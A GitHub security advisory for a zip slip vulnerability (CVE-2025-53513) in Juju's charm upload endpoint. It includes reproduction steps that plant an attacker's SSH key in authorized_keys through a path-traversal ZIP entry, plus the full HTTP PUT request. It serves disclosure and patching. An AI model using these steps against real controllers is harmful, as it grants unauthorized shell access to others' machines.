GHSA-24CH-W38V-XMH8
Vulnerability from github – Published: 2025-07-09 15:29 – Updated: 2025-08-26 20:20Impact
Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.
Details
A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://:17070/model-/charms/- - POST/GET https://:17070/model-/charms - GET https://:17070/charms
These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.
To reproduce:
juju bootstrap
juju add-user testuser
juju change-user-password testuser
Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm
Download and install the following tool: https://github.com/usdAG/slipit
Run the following command to generate a new SSH key pair: ssh-keygen
Copy the contents of the newly created public key into a file called authorized_keys
Run the following command to inject the malicious path into the ZIP file:
slipit hello.zip authorized_keys --separator ../../../../../../home/
ubuntu/.ssh/
Send the PUT request below to a model on the target controller. Note the following:
- the model UUID and controller IP address in the request must be updated
- the Juju-Curl header needs to be sent with a value that starts with the “local:” string
- the PUT body content should have the exact contents of the ZIP file
- the Basic Authorization header should be tied to the user that was created above
- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. pathtw-<updated-sha>)
-
PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c
HTTP/1.1
Host: 10.4.154.217:17070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko
/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 40021
Content-Type: application/zip
Juju-Curl: local:pathtw
Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==
<ZIP BODY Content>
Observe that the response states that the charm has been uploaded.
Attempt to SSH to the controller by using the private key that was generated above.
Observe that it is possible to authenticate because the file has been overwritten.
Code
The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990
And the only auth required is that the incoming request be for an authenticated user
https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754
but no specific permission checks are done.
Workarounds
There are no known workarounds.
References
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/juju/juju"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250619215741-6356e984b82a"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-53513"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-24"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-09T15:29:03Z",
"nvd_published_at": "2025-07-08T17:16:04Z",
"severity": "HIGH"
},
"details": "### Impact\n\nAny user with a Juju account on a controller can upload a charm to the /charms endpoint.\nNo specific permissions are required - it\u0027s just sufficient for the user to exist in the controller user database.\nA charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.\n\n### Details\n\nA controller exposes three charm-related HTTP API endpoints, as follows:\n- PUT/GET https://\u003ccontroller-ip\u003e:17070/model-\u003cmodel-uuid\u003e/charms/\u003cnameofcharm\u003e-\u003chashofcharm\u003e\n- POST/GET https://\u003ccontroller-ip\u003e:17070/model-\u003cmodel-uuid\u003e/charms\n- GET https://\u003ccontroller-ip\u003e:17070/charms\n\nThese endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.\n\nTo reproduce:\n\n```\njuju bootstrap\njuju add-user testuser\njuju change-user-password testuser\n```\n\nDownload the ZIP file of an arbitrary charm eg [https://github.com/juju/hello-juju-charm](https://github.com/juju/hello-juju-charm)\n\nDownload and install the following tool: [https://github.com/usdAG/slipit](https://github.com/usdAG/slipit)\n\nRun the following command to generate a new SSH key pair: `ssh-keygen`\n\nCopy the contents of the newly created public key into a file called `authorized_keys`\n\nRun the following command to inject the malicious path into the ZIP file:\n```\nslipit hello.zip authorized_keys --separator ../../../../../../home/\nubuntu/.ssh/\n```\n\nSend the PUT request below to a model on the target controller. Note the following:\n- the model UUID and controller IP address in the request must be updated\n- the Juju-Curl header needs to be sent with a value that starts with the \u201clocal:\u201d string\n- the PUT body content should have the exact contents of the ZIP file\n- the Basic Authorization header should be tied to the user that was created above\n- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. `pathtw-\u003cupdated-sha\u003e`)\n- \n```\nPUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c\nHTTP/1.1\nHost: 10.4.154.217:17070\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko\n/20100101 Firefox/135.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nPriority: u=0, i\nTe: trailers\nConnection: keep-alive\nContent-Length: 40021\nContent-Type: application/zip\nJuju-Curl: local:pathtw\nAuthorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==\n\u003cZIP BODY Content\u003e\n```\n\nObserve that the response states that the charm has been uploaded.\n\nAttempt to SSH to the controller by using the private key that was generated above.\n\nObserve that it is possible to authenticate because the file has been overwritten.\n\n### Code\n\nThe /charms handlers are registered here\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990\n\nAnd the only auth required is that the incoming request be for an authenticated user\n\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754\n\nbut no specific permission checks are done.\n\n### Workarounds\nThere are no known workarounds.\n\n### References\n[F-02](https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view)",
"id": "GHSA-24ch-w38v-xmh8",
"modified": "2025-08-26T20:20:46Z",
"published": "2025-07-09T15:29:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53513"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/commit/6356e984b82a4a7b9771ff5e51e297ad62f3b405"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/commit/ff39557a137c0e95d4cd3553b0f19c859c6f5d8e"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view"
},
{
"type": "PACKAGE",
"url": "https://github.com/juju/juju"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897"
},
{
"type": "WEB",
"url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3804"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Juju zip slip vulnerability via authenticated endpoint"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.